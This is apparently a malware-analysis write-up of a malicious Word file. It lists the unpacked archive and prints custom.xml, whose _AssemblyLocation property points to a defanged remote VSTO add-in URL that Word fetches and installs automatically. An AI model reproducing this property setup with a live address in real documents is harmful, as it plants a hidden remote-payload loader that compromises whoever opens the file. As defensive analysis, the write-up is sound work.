Upon downloading the file and running the oleid we find it is a MS-Word document but without any macros or further interesting information. Out of curiosity, since the file format is internally just an archive, I extracted it on my filesystem and got the following directory structure:
.
├── [Content_Types].xml
├── customXml
│ ├── item1.xml
│ ├── itemProps1.xml
│ └── _rels
│ └── item1.xml.rels
├── docProps
│ ├── app.xml
│ ├── core.xml
│ └── custom.xml
├── _rels
├── vstoDataStore
│ ├── item2.xml
│ ├── itemProps2.xml
│ └── _rels
│ └── item2.xml.rels
└── word
├── document.xml
├── fontTable.xml
├── media
│ └── image1.png
├── _rels
│ └── document.xml.rels
├── settings.xml
├── styles.xml
├── theme
│ └── theme1.xml
└── webSettings.xml
11 directories, 18 files
Looking around a little I navigated to ./docProps/custom.xml and inspected its contents:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Properties
xmlns="http://schemas.openxmlformats.org/officeDocument/2006/custom-properties"
xmlns:vt="http://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypes">
<property
fmtid="{D5CDD505-2E9C-101B-9397-08002B2CF9AE}"
pid="2"
name="_AssemblyLocation"
>
<vt:lpwstr>
https[:]//login03k[.]com/update/Trusted Updater.vsto|a8ed4033-4074-4eb7-9c6a-93bbb8a3776c
</vt:lpwstr>
</property>
<property
fmtid="{D5CDD505-2E9C-101B-9397-08002B2CF9AE}"
pid="3"
name="_AssemblyName"
>
<vt:lpwstr>4E3C66D5-58D4-491E-A7D4-64AF99AF6E8B</vt:lpwstr>
</property>
</Properties>
As we can see this appears to be a part of microsofts builtin feature for automatically downloading and installing VSTO Addins, as we can see the VSTO Addin is pulled from the following URL:
https[:]//login03k[.]com/update/Trusted Updater.vsto ( Note its defanged with [:] and [.])
Attempting to download the next stage manually we find out that the domain is no longer up. :(